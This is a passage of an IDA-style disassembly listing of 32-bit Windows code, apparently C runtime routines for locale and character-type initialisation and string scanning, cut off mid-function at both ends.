movsx edx, byte ptr [ecx] cmp edx, 39h jg short loc_42A7AD mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] sub ecx, 30h mov edx, [ebp+arg_0] mov [edx], cl mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax jmp short loc_42A7E7 ; --------------------------------------------------------------------------- loc_42A7AD: ; CODE XREF: sub_42A770+17j ; sub_42A770+22j mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] cmp edx, 3Bh jnz short loc_42A7DE mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_42A7BE: ; CODE XREF: sub_42A770+6Aj mov ecx, [ebp+var_4] mov edx, [ebp+var_4] mov al, [edx+1] mov [ecx], al mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_4] movsx eax, byte ptr [edx] test eax, eax jnz short loc_42A7BE jmp short loc_42A7E7 ; --------------------------------------------------------------------------- loc_42A7DE: ; CODE XREF: sub_42A770+46j mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx loc_42A7E7: ; CODE XREF: sub_42A770+3Bj ; sub_42A770+6Cj jmp short loc_42A774 ; --------------------------------------------------------------------------- loc_42A7E9: ; CODE XREF: sub_42A770+Cj mov esp, ebp pop ebp retn sub_42A770 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A7F0 proc near ; CODE XREF: sub_42A430+4Dp ; sub_42A430+A7p ... arg_0 = dword ptr 8 push ebp mov ebp, esp cmp [ebp+arg_0], 0 jnz short loc_42A7FE jmp loc_42A881 ; --------------------------------------------------------------------------- loc_42A7FE: ; CODE XREF: sub_42A7F0+7j mov eax, [ebp+arg_0] cmp dword ptr [eax+0Ch], offset dword_4923F8 jz short loc_42A881 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] push edx call sub_4174C0 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+10h] push ecx call sub_4174C0 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+14h] push eax call sub_4174C0 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+18h] push edx call sub_4174C0 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] push ecx call sub_4174C0 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+20h] push eax call sub_4174C0 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+24h] push edx call sub_4174C0 add esp, 8 loc_42A881: ; CODE XREF: sub_42A7F0+9j ; sub_42A7F0+18j pop ebp retn sub_42A7F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A890 proc near ; DATA XREF: .data:004434B0o var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_E = byte ptr -0Eh push ebp mov ebp, esp sub esp, 30h mov [ebp+var_2C], 0 mov [ebp+var_28], 0 cmp dword_492170, 0 jz loc_42ABE1 cmp dword_492180, 0 jnz short loc_42A8E0 push offset dword_492180 push 1004h xor eax, eax mov ax, word_4922F0 push eax push 0 call sub_42F050 add esp, 10h test eax, eax jz short loc_42A8E0 jmp loc_42ABA2 ; --------------------------------------------------------------------------- loc_42A8E0: ; CODE XREF: sub_42A890+28j ; sub_42A890+49j push 5Ch push offset aInitctyp_c ; "initctyp.c" push 2 push 202h call sub_416A30 add esp, 10h mov [ebp+var_30], eax push 5Eh push offset aInitctyp_c ; "initctyp.c" push 2 push 202h call sub_416A30 add esp, 10h mov [ebp+var_1C], eax push 60h push offset aInitctyp_c ; "initctyp.c" push 2 push 101h call sub_416A30 add esp, 10h mov [ebp+var_2C], eax push 62h push offset aInitctyp_c ; "initctyp.c" push 2 push 202h call sub_416A30 add esp, 10h mov [ebp+var_28], eax cmp [ebp+var_30], 0 jz short loc_42A95C cmp [ebp+var_1C], 0 jz short loc_42A95C cmp [ebp+var_2C], 0 jz short loc_42A95C cmp [ebp+var_28], 0 jnz short loc_42A961 loc_42A95C: ; CODE XREF: sub_42A890+B8j ; sub_42A890+BEj ... jmp loc_42ABA2 ; --------------------------------------------------------------------------- loc_42A961: ; CODE XREF: sub_42A890+CAj mov ecx, [ebp+var_2C] mov [ebp+var_18], ecx mov [ebp+var_20], 0 jmp short loc_42A979 ; --------------------------------------------------------------------------- loc_42A970: ; CODE XREF: sub_42A890+103j mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx loc_42A979: ; CODE XREF: sub_42A890+DEj cmp [ebp+var_20], 100h jge short loc_42A995 mov eax, [ebp+var_18] mov cl, byte ptr [ebp+var_20] mov [eax], cl mov edx, [ebp+var_18] add edx, 1 mov [ebp+var_18], edx jmp short loc_42A970 ; --------------------------------------------------------------------------- loc_42A995: ; CODE XREF: sub_42A890+F0j lea eax, [ebp+var_14] push eax mov ecx, dword_492180 push ecx call ds:dword_49447C test eax, eax jnz short loc_42A9AF jmp loc_42ABA2 ; --------------------------------------------------------------------------- loc_42A9AF: ; CODE XREF: sub_42A890+118j cmp [ebp+var_14], 2 jbe short loc_42A9BA jmp loc_42ABA2 ; --------------------------------------------------------------------------- loc_42A9BA: ; CODE XREF: sub_42A890+123j mov edx, [ebp+var_14] and edx, 0FFFFh mov dword_442F58, edx cmp dword_442F58, 1 jle short loc_42AA29 lea eax, [ebp+var_E] mov [ebp+var_18], eax jmp short loc_42A9E3 ; --------------------------------------------------------------------------- loc_42A9DA: ; CODE XREF: sub_42A890:loc_42AA27j mov ecx, [ebp+var_18] add ecx, 2 mov [ebp+var_18], ecx loc_42A9E3: ; CODE XREF: sub_42A890+148j mov edx, [ebp+var_18] xor eax, eax mov al, [edx] test eax, eax jz short loc_42AA29 mov ecx, [ebp+var_18] xor edx, edx mov dl, [ecx+1] test edx, edx jz short loc_42AA29 mov eax, [ebp+var_18] xor ecx, ecx mov cl, [eax] mov [ebp+var_20], ecx jmp short loc_42AA0F ; --------------------------------------------------------------------------- loc_42AA06: ; CODE XREF: sub_42A890+195j mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx loc_42AA0F: ; CODE XREF: sub_42A890+174j mov eax, [ebp+var_18] xor ecx, ecx mov cl, [eax+1] cmp [ebp+var_20], ecx jg short loc_42AA27 mov edx, [ebp+var_2C] add edx, [ebp+var_20] mov byte ptr [edx], 0 jmp short loc_42AA06 ; --------------------------------------------------------------------------- loc_42AA27: ; CODE XREF: sub_42A890+18Aj jmp short loc_42A9DA ; --------------------------------------------------------------------------- loc_42AA29: ; CODE XREF: sub_42A890+140j ; sub_42A890+15Cj ... push 0 push 0 push 0 mov eax, [ebp+var_30] add eax, 2 push eax push 100h mov ecx, [ebp+var_2C] push ecx push 1 call sub_426F40 add esp, 1Ch test eax, eax jnz short loc_42AA52 jmp loc_42ABA2 ; --------------------------------------------------------------------------- loc_42AA52: ; CODE XREF: sub_42A890+1BBj mov edx, [ebp+var_30] mov word ptr [edx], 0 mov eax, [ebp+var_28] mov [ebp+var_24], eax mov [ebp+var_20], 0 jmp short loc_42AA72 ; --------------------------------------------------------------------------- loc_42AA69: ; CODE XREF: sub_42A890+1FEj mov ecx, [ebp+var_20] add ecx, 1 mov [ebp+var_20], ecx loc_42AA72: ; CODE XREF: sub_42A890+1D7j cmp [ebp+var_20], 100h jge short loc_42AA90 mov edx, [ebp+var_24] mov ax, word ptr [ebp+var_20] mov [edx], ax mov ecx, [ebp+var_24] add ecx, 2 mov [ebp+var_24], ecx jmp short loc_42AA69 ; --------------------------------------------------------------------------- loc_42AA90: ; CODE XREF: sub_42A890+1E9j push 0 push 0 mov edx, [ebp+var_1C] add edx, 2 push edx push 100h mov eax, [ebp+var_28] push eax push 1 call sub_42F2F0 add esp, 18h test eax, eax jnz short loc_42AAB7 jmp loc_42ABA2 ; --------------------------------------------------------------------------- loc_42AAB7: ; CODE XREF: sub_42A890+220j mov ecx, [ebp+var_1C] mov word ptr [ecx], 0 cmp dword_442F58, 1 jle short loc_42AB23 lea edx, [ebp+var_E] mov [ebp+var_18], edx jmp short loc_42AAD9 ; --------------------------------------------------------------------------- loc_42AAD0: ; CODE XREF: sub_42A890:loc_42AB21j mov eax, [ebp+var_18] add eax, 2 mov [ebp+var_18], eax loc_42AAD9: ; CODE XREF: sub_42A890+23Ej mov ecx, [ebp+var_18] xor edx, edx mov dl, [ecx] test edx, edx jz short loc_42AB23 mov eax, [ebp+var_18] xor ecx, ecx mov cl, [eax+1] test ecx, ecx jz short loc_42AB23 mov edx, [ebp+var_18] xor eax, eax mov al, [edx] mov [ebp+var_20], eax jmp short loc_42AB05 ; --------------------------------------------------------------------------- loc_42AAFC: ; CODE XREF: sub_42A890+28Fj mov ecx, [ebp+var_20] add ecx, 1 mov [ebp+var_20], ecx loc_42AB05: ; CODE XREF: sub_42A890+26Aj mov edx, [ebp+var_18] xor eax, eax mov al, [edx+1] cmp [ebp+var_20], eax jg short loc_42AB21 mov ecx, [ebp+var_20] mov edx, [ebp+var_30] mov word ptr [edx+ecx*2+2], 8000h jmp short loc_42AAFC ; --------------------------------------------------------------------------- loc_42AB21: ; CODE XREF: sub_42A890+280j jmp short loc_42AAD0 ; --------------------------------------------------------------------------- loc_42AB23: ; CODE XREF: sub_42A890+236j ; sub_42A890+252j ... mov eax, [ebp+var_30] add eax, 2 mov off_442D4C, eax mov ecx, [ebp+var_1C] add ecx, 2 mov off_442D50, ecx cmp dword_4922DC, 0 jz short loc_42AB54 push 2 mov edx, dword_4922DC push edx call sub_4174C0 add esp, 8 loc_42AB54: ; CODE XREF: sub_42A890+2B1j mov eax, [ebp+var_30] mov dword_4922DC, eax cmp dword_4922E0, 0 jz short loc_42AB76 push 2 mov ecx, dword_4922E0 push ecx call sub_4174C0 add esp, 8 loc_42AB76: ; CODE XREF: sub_42A890+2D3j mov edx, [ebp+var_1C] mov dword_4922E0, edx push 2 mov eax, [ebp+var_2C] push eax call sub_4174C0 add esp, 8 push 2 mov ecx, [ebp+var_28] push ecx call sub_4174C0 add esp, 8 xor eax, eax jmp loc_42AC2C ; --------------------------------------------------------------------------- loc_42ABA2: ; CODE XREF: sub_42A890+4Bj ; sub_42A890:loc_42A95Cj ... push 2 mov edx, [ebp+var_30] push edx call sub_4174C0 add esp, 8 push 2 mov eax, [ebp+var_1C] push eax call sub_4174C0 add esp, 8 push 2 mov ecx, [ebp+var_2C] push ecx call sub_4174C0 add esp, 8 push 2 mov edx, [ebp+var_28] push edx call sub_4174C0 add esp, 8 mov eax, 1 jmp short loc_42AC2C ; --------------------------------------------------------------------------- loc_42ABE1: ; CODE XREF: sub_42A890+1Bj mov off_442D4C, offset word_442D56 mov off_442D50, offset word_442D56 push 2 mov eax, dword_4922DC push eax call sub_4174C0 add esp, 8 push 2 mov ecx, dword_4922E0 push ecx call sub_4174C0 add esp, 8 mov dword_4922DC, 0 mov dword_4922E0, 0 xor eax, eax loc_42AC2C: ; CODE XREF: sub_42A890+30Dj ; sub_42A890+34Fj mov esp, ebp pop ebp retn sub_42A890 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42AC30 proc near ; DATA XREF: .data:004434A4o push ebp mov ebp, esp xor eax, eax pop ebp retn sub_42AC30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42AC40 proc near ; CODE XREF: .text:0042346Ep ; sub_423B20+7Bp var_24 = dword ptr -24h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi xor eax, eax push eax push eax push eax push eax push eax push eax push eax push eax mov edx, [ebp+arg_4] lea ecx, [ecx+0] loc_42AC54: ; CODE XREF: sub_42AC40+1Fj mov al, [edx] or al, al jz short loc_42AC61 inc edx bts [esp+24h+var_24], eax jmp short loc_42AC54 ; --------------------------------------------------------------------------- loc_42AC61: ; CODE XREF: sub_42AC40+18j mov esi, [ebp+arg_0] or ecx, 0FFFFFFFFh nop loc_42AC68: ; CODE XREF: sub_42AC40+34j inc ecx mov al, [esi] or al, al jz short loc_42AC76 inc esi bt [esp+24h+var_24], eax jnb short loc_42AC68 loc_42AC76: ; CODE XREF: sub_42AC40+2Dj mov eax, ecx add esp, 20h pop esi leave retn sub_42AC40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42AC80 proc near ; CODE XREF: .text:0042338Dp var_24 = dword ptr -24h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi xor eax, eax push eax push eax push eax push eax push eax push eax push eax push eax mov edx, [ebp+arg_4] lea ecx, [ecx+0] loc_42AC94: ; CODE XREF: sub_42AC80+1Fj mov al, [edx] or al, al jz short loc_42ACA1 inc edx bts [esp+24h+var_24], eax jmp short loc_42AC94 ; --------------------------------------------------------------------------- loc_42ACA1: ; CODE XREF: sub_42AC80+18j mov esi, [ebp+arg_0] loc_42ACA4: ; CODE XREF: sub_42AC80+2Fj mov al, [esi] or al, al jz short loc_42ACB4 inc esi bt [esp+24h+var_24], eax jnb short loc_42ACA4 lea eax, [esi-1] loc_42ACB4: ; CODE XREF: sub_42AC80+28j add esp, 20h pop esi leave retn sub_42AC80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42ACC0 proc near ; CODE XREF: sub_423930+D3p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 cmp dword_492328, 0 jnz short loc_42ACF2 call sub_42B790 test eax, eax jz short loc_42ACE2 mov eax, ds:dword_4943F0 mov [ebp+var_8], eax jmp short loc_42ACE9 ; --------------------------------------------------------------------------- loc_42ACE2: ; CODE XREF: sub_42ACC0+16j mov [ebp+var_8], offset sub_42B7E0 loc_42ACE9: ; CODE XREF: sub_42ACC0+20j mov ecx, [ebp+var_8] mov dword_492328, ecx loc_42ACF2: ; CODE XREF: sub_42ACC0+Dj cmp [ebp+arg_0], 0 jnz short loc_42AD02 call sub_42B5E0 jmp loc_42ADCE ; --------------------------------------------------------------------------- loc_42AD02: ; CODE XREF: sub_42ACC0+36j mov edx, [ebp+arg_0] mov dword_492318, edx cmp dword_492318, 0 jz short loc_42AD34 mov eax, dword_492318 movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_42AD34 push offset dword_492318 push 40h push offset off_443CC0 call sub_42AEC0 add esp, 0Ch loc_42AD34: ; CODE XREF: sub_42ACC0+52j ; sub_42ACC0+5Ej mov edx, [ebp+arg_0] add edx, 40h mov dword_49231C, edx cmp dword_49231C, 0 jz short loc_42AD69 mov eax, dword_49231C movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_42AD69 push offset dword_49231C push 16h push offset off_443C08 call sub_42AEC0 add esp, 0Ch loc_42AD69: ; CODE XREF: sub_42ACC0+87j ; sub_42ACC0+93j mov dword_492320, 0 cmp dword_492318, 0 jz short loc_42ADAD mov edx, dword_492318 movsx eax, byte ptr [edx] test eax, eax jz short loc_42ADAD cmp dword_49231C, 0 jz short loc_42ADA6 mov ecx, dword_49231C movsx edx, byte ptr [ecx] test edx, edx jz short loc_42ADA6 call sub_42AF50 jmp short loc_42ADAB ; --------------------------------------------------------------------------- loc_42ADA6: ; CODE XREF: sub_42ACC0+D0j ; sub_42ACC0+DDj call sub_42B340 loc_42ADAB: ; CODE XREF: sub_42ACC0+E4j jmp short loc_42ADCE ; --------------------------------------------------------------------------- loc_42ADAD: ; CODE XREF: sub_42ACC0+BAj ; sub_42ACC0+C7j cmp dword_49231C, 0 jz short loc_42ADC9 mov eax, dword_49231C movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_42ADC9 call sub_42B4E0 jmp short loc_42ADCE ; --------------------------------------------------------------------------- loc_42ADC9: ; CODE XREF: sub_42ACC0+F4j ; sub_42ACC0+100j call sub_42B5E0 loc_42ADCE: ; CODE XREF: sub_42ACC0+3Dj ; sub_42ACC0:loc_42ADABj ... cmp dword_492320, 0 jnz short loc_42ADDE xor eax, eax jmp loc_42AEBC ; --------------------------------------------------------------------------- loc_42ADDE: ; CODE XREF: sub_42ACC0+115j mov edx, [ebp+arg_0] add edx, 80h push edx call sub_42B610 add esp, 4 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_42AE0C mov eax, [ebp+var_4] and eax, 0FFFFh push eax call ds:dword_4942B0 test eax, eax jnz short loc_42AE13 loc_42AE0C: ; CODE XREF: sub_42ACC0+137j xor eax, eax jmp loc_42AEBC ; --------------------------------------------------------------------------- loc_42AE13: ; CODE XREF: sub_42ACC0+14Aj push 1 mov ecx, dword_492308 push ecx call ds:dword_4942B4 test eax, eax jnz short loc_42AE2D xor eax, eax jmp loc_42AEBC ; --------------------------------------------------------------------------- loc_42AE2D: ; CODE XREF: sub_42ACC0+164j cmp [ebp+arg_4], 0 jz short loc_42AE58 mov edx, [ebp+arg_4] mov ax, word ptr dword_492308 mov [edx], ax mov ecx, [ebp+arg_4] mov dx, word ptr dword_492324 mov [ecx+2], dx mov eax, [ebp+arg_4] mov cx, word ptr [ebp+var_4] mov [eax+4], cx loc_42AE58: ; CODE XREF: sub_42ACC0+171j cmp [ebp+arg_8], 0 jz short loc_42AEB7 push 40h mov edx, [ebp+arg_8] push edx push 1001h mov eax, dword_492308 push eax call dword_492328 test eax, eax jnz short loc_42AE7D xor eax, eax jmp short loc_42AEBC ; --------------------------------------------------------------------------- loc_42AE7D: ; CODE XREF: sub_42ACC0+1B7j push 40h mov ecx, [ebp+arg_8] add ecx, 40h push ecx push 1002h mov edx, dword_492324 push edx call dword_492328 test eax, eax jnz short loc_42AEA0 xor eax, eax jmp short loc_42AEBC ; --------------------------------------------------------------------------- loc_42AEA0: ; CODE XREF: sub_42ACC0+1DAj push 0Ah mov eax, [ebp+arg_8] add eax, 80h push eax mov ecx, [ebp+var_4] push ecx call sub_4262C0 add esp, 0Ch loc_42AEB7: ; CODE XREF: sub_42ACC0+19Cj mov eax, 1 loc_42AEBC: ; CODE XREF: sub_42ACC0+119j ; sub_42ACC0+14Ej ... mov esp, ebp pop ebp retn sub_42ACC0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42AEC0 proc near ; CODE XREF: sub_42ACC0+6Cp ; sub_42ACC0+A1p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_8], 1 mov [ebp+var_C], 0 loc_42AED4: ; CODE XREF: sub_42AEC0:loc_42AF3Cj mov eax, [ebp+var_C] cmp eax, [ebp+arg_4] jg short loc_42AF3E cmp [ebp+var_8], 0 jz short loc_42AF3E mov eax, [ebp+var_C] add eax, [ebp+arg_4] cdq sub eax, edx sar eax, 1 mov [ebp+var_4], eax mov ecx, [ebp+var_4] mov edx, [ebp+arg_0] mov eax, [edx+ecx*8] push eax mov ecx, [ebp+arg_8] mov edx, [ecx] push edx call sub_42F560 add esp, 8 mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_42AF22 mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] lea edx, [ecx+eax*8+4] mov eax, [ebp+arg_8] mov [eax], edx jmp short loc_42AF3C ; --------------------------------------------------------------------------- loc_42AF22: ; CODE XREF: sub_42AEC0+4Fj cmp [ebp+var_8], 0 jge short loc_42AF33 mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+arg_4], ecx jmp short loc_42AF3C ; --------------------------------------------------------------------------- loc_42AF33: ; CODE XREF: sub_42AEC0+66j mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_C], edx loc_42AF3C: ; CODE XREF: sub_42AEC0+60j ; sub_42AEC0+71j jmp short loc_42AED4 ; --------------------------------------------------------------------------- loc_42AF3E: ; CODE XREF: sub_42AEC0+1Aj ; sub_42AEC0+20j mov esp, ebp pop ebp retn sub_42AEC0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42AF50 proc near ; CODE XREF: sub_42ACC0+DFp var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov eax, dword_492318 push eax call sub_418E70 add esp, 4 xor ecx, ecx cmp eax, 3 setz cl mov dword_492314, ecx mov edx, dword_49231C push edx call sub_418E70 add esp, 4 xor ecx, ecx cmp eax, 3 setz cl mov dword_49230C, ecx mov dword_492308, 0 cmp dword_492314, 0 jz short loc_42AFA9 mov [ebp+var_4], 2 jmp short loc_42AFBB ; --------------------------------------------------------------------------- loc_42AFA9: ; CODE XREF: sub_42AF50+4Ej mov edx, dword_492318 push edx call sub_42B9F0 add esp, 4 mov [ebp+var_4], eax loc_42AFBB: ; CODE XREF: sub_42AF50+57j mov eax, [ebp+var_4] mov dword_492310, eax push 1 push offset sub_42B010 call ds:dword_4942AC mov ecx, dword_492320 and ecx, 100h test ecx, ecx jz short loc_42AFFC mov edx, dword_492320 and edx, 200h test edx, edx jz short loc_42AFFC mov eax, dword_492320 and eax, 7 test eax, eax jnz short loc_42B006 loc_42AFFC: ; CODE XREF: sub_42AF50+8Ej ; sub_42AF50+9Ej mov dword_492320, 0 loc_42B006: ; CODE XREF: sub_42AF50+AAj mov esp, ebp pop ebp retn sub_42AF50 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B010 proc near ; DATA XREF: sub_42AF50+75o var_7C = dword ptr -7Ch var_78 = byte ptr -78h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 7Ch mov eax, [ebp+arg_0] push eax call sub_42B970 add esp, 4 mov [ebp+var_7C], eax push 78h lea ecx, [ebp+var_78] push ecx mov edx, dword_49230C neg edx sbb edx, edx and edx, 0FFFFF005h add edx, 1002h push edx mov eax, [ebp+var_7C] push eax call dword_492328 test eax, eax jnz short loc_42B064 mov dword_492320, 0 mov eax, 1 jmp loc_42B32E ; --------------------------------------------------------------------------- loc_42B064: ; CODE XREF: sub_42B010+3Ej lea ecx, [ebp+var_78] push ecx mov edx, dword_49231C push edx call sub_42F560 add esp, 8 test eax, eax jnz loc_42B19F push 78h lea eax, [ebp+var_78] push eax mov ecx, dword_492314 neg ecx sbb ecx, ecx and ecx, 0FFFFF002h add ecx, 1001h push ecx mov edx, [ebp+var_7C] push edx call dword_492328 test eax, eax jnz short loc_42B0BE mov dword_492320, 0 mov eax, 1 jmp loc_42B32E ; --------------------------------------------------------------------------- loc_42B0BE: ; CODE XREF: sub_42B010+98j lea eax, [ebp+var_78] push eax mov ecx, dword_492318 push ecx call sub_42F560 add esp, 8 test eax, eax jnz short loc_42B100 mov edx, dword_492320 or edx, 304h mov dword_492320, edx mov eax, [ebp+var_7C] mov dword_492324, eax mov ecx, dword_492324 mov dword_492308, ecx jmp loc_42B19F ; --------------------------------------------------------------------------- loc_42B100: ; CODE XREF: sub_42B010+C3j mov edx, dword_492320 and edx, 2 test edx, edx jnz loc_42B19F cmp dword_492310, 0 jz short loc_42B16D mov eax, dword_492310 push eax lea ecx, [ebp+var_78] push ecx mov edx, dword_492318 push edx call sub_42F630 add esp, 0Ch test eax, eax jnz short loc_42B16D mov eax, dword_492320 or al, 2 mov dword_492320, eax mov ecx, [ebp+var_7C] mov dword_492324, ecx mov edx, dword_492318 push edx call sub_418E70 add esp, 4 cmp eax, dword_492310 jnz short loc_42B16B mov eax, [ebp+var_7C] mov dword_492308, eax loc_42B16B: ; CODE XREF: sub_42B010+151j jmp short loc_42B19F ; --------------------------------------------------------------------------- loc_42B16D: ; CODE XREF: sub_42B010+108j ; sub_42B010+125j mov ecx, dword_492320 and ecx, 1 test ecx, ecx jnz short loc_42B19F mov edx, [ebp+var_7C] push edx call sub_42B6B0 add esp, 4 test eax, eax jz short loc_42B19F mov eax, dword_492320 or al, 1 mov dword_492320, eax mov ecx, [ebp+var_7C] mov dword_492324, ecx loc_42B19F: ; CODE XREF: sub_42B010+69j ; sub_42B010+EBj ... mov edx, dword_492320 and edx, 300h cmp edx, 300h jz loc_42B321 push 78h lea eax, [ebp+var_78] push eax mov ecx, dword_492314 neg ecx sbb ecx, ecx and ecx, 0FFFFF002h add ecx, 1001h push ecx mov edx, [ebp+var_7C] push edx call dword_492328 test eax, eax jnz short loc_42B1F6 mov dword_492320, 0 mov eax, 1 jmp loc_42B32E ; --------------------------------------------------------------------------- loc_42B1F6: ; CODE XREF: sub_42B010+1D0j lea eax, [ebp+var_78] push eax mov ecx, dword_492318 push ecx call sub_42F560 add esp, 8 test eax, eax jnz loc_42B2C0 mov edx, dword_492320 or dh, 2 mov dword_492320, edx cmp dword_492314, 0 jz short loc_42B24A mov eax, dword_492320 or ah, 1 mov dword_492320, eax cmp dword_492308, 0 jnz short loc_42B248 mov ecx, [ebp+var_7C] mov dword_492308, ecx loc_42B248: ; CODE XREF: sub_42B010+22Dj jmp short loc_42B2BE ; --------------------------------------------------------------------------- loc_42B24A: ; CODE XREF: sub_42B010+217j cmp dword_492310, 0 jz short loc_42B29F mov edx, dword_492318 push edx call sub_418E70 add esp, 4 cmp eax, dword_492310 jnz short loc_42B29F push 1 mov eax, [ebp+var_7C] push eax call sub_42B700 add esp, 8 test eax, eax jz short loc_42B29D mov ecx, dword_492320 or ch, 1 mov dword_492320, ecx cmp dword_492308, 0 jnz short loc_42B29D mov edx, [ebp+var_7C] mov dword_492308, edx loc_42B29D: ; CODE XREF: sub_42B010+26Aj ; sub_42B010+282j jmp short loc_42B2BE ; --------------------------------------------------------------------------- loc_42B29F: ; CODE XREF: sub_42B010+241j ; sub_42B010+258j mov eax, dword_492320 or ah, 1 mov dword_492320, eax cmp dword_492308, 0 jnz short loc_42B2BE mov ecx, [ebp+var_7C] mov dword_492308, ecx loc_42B2BE: ; CODE XREF: sub_42B010:loc_42B248j ; sub_42B010:loc_42B29Dj ... jmp short loc_42B321 ; --------------------------------------------------------------------------- loc_42B2C0: ; CODE XREF: sub_42B010+1FBj cmp dword_492314, 0 jnz short loc_42B321 cmp dword_492310, 0 jz short loc_42B321 mov edx, dword_492310 push edx lea eax, [ebp+var_78] push eax mov ecx, dword_492318 push ecx call sub_42F630 add esp, 0Ch test eax, eax jnz short loc_42B321 push 0 mov edx, [ebp+var_7C] push edx call sub_42B700 add esp, 8 test eax, eax jz short loc_42B321 mov eax, dword_492320 or ah, 1 mov dword_492320, eax cmp dword_492308, 0 jnz short loc_42B321 mov ecx, [ebp+var_7C] mov dword_492308, ecx loc_42B321: ; CODE XREF: sub_42B010+1A1j ; sub_42B010:loc_42B2BEj ... mov eax, dword_492320 and eax, 4 neg eax sbb eax, eax inc eax loc_42B32E: ; CODE XREF: sub_42B010+4Fj ; sub_42B010+A9j ... mov esp, ebp pop ebp retn 4 sub_42B010 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B340 proc near ; CODE XREF: sub_42ACC0:loc_42ADA6p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov eax, dword_492318 push eax call sub_418E70 add esp, 4 xor ecx, ecx cmp eax, 3 setz cl mov dword_492314, ecx cmp dword_492314, 0 jz short loc_42B372 mov [ebp+var_4], 2 jmp short loc_42B384 ; --------------------------------------------------------------------------- loc_42B372: ; CODE XREF: sub_42B340+27j mov edx, dword_492318 push edx call sub_42B9F0 add esp, 4 mov [ebp+var_4], eax loc_42B384: ; CODE XREF: sub_42B340+30j mov eax, [ebp+var_4] mov dword_492310, eax push 1 push offset sub_42B3C0 call ds:dword_4942AC mov ecx, dword_492320 and ecx, 4 test ecx, ecx jnz short loc_42B3B0 mov dword_492320, 0 loc_42B3B0: ; CODE XREF: sub_42B340+64j mov esp, ebp pop ebp retn sub_42B340 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B3C0 proc near ; DATA XREF: sub_42B340+4Eo var_7C = dword ptr -7Ch var_78 = byte ptr -78h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 7Ch mov eax, [ebp+arg_0] push eax call sub_42B970 add esp, 4 mov [ebp+var_7C], eax push 78h lea ecx, [ebp+var_78] push ecx mov edx, dword_492314 neg edx sbb edx, edx and edx, 0FFFFF002h add edx, 1001h push edx mov eax, [ebp+var_7C] push eax call dword_492328 test eax, eax jnz short loc_42B414 mov dword_492320, 0 mov eax, 1 jmp loc_42B4D9 ; --------------------------------------------------------------------------- loc_42B414: ; CODE XREF: sub_42B3C0+3Ej lea ecx, [ebp+var_78] push ecx mov edx, dword_492318 push edx call sub_42F560 add esp, 8 test eax, eax jnz short loc_42B469 cmp dword_492314, 0 jnz short loc_42B446 push 1 mov eax, [ebp+var_7C] push eax call sub_42B700 add esp, 8 test eax, eax jz short loc_42B467 loc_42B446: ; CODE XREF: sub_42B3C0+72j mov ecx, [ebp+var_7C] mov dword_492324, ecx mov edx, dword_492324 mov dword_492308, edx mov eax, dword_492320 or al, 4 mov dword_492320, eax loc_42B467: ; CODE XREF: sub_42B3C0+84j jmp short loc_42B4CC ; --------------------------------------------------------------------------- loc_42B469: ; CODE XREF: sub_42B3C0+69j cmp dword_492314, 0 jnz short loc_42B4CC cmp dword_492310, 0 jz short loc_42B4CC mov ecx, dword_492310 push ecx lea edx, [ebp+var_78] push edx mov eax, dword_492318 push eax call sub_42F630 add esp, 0Ch test eax, 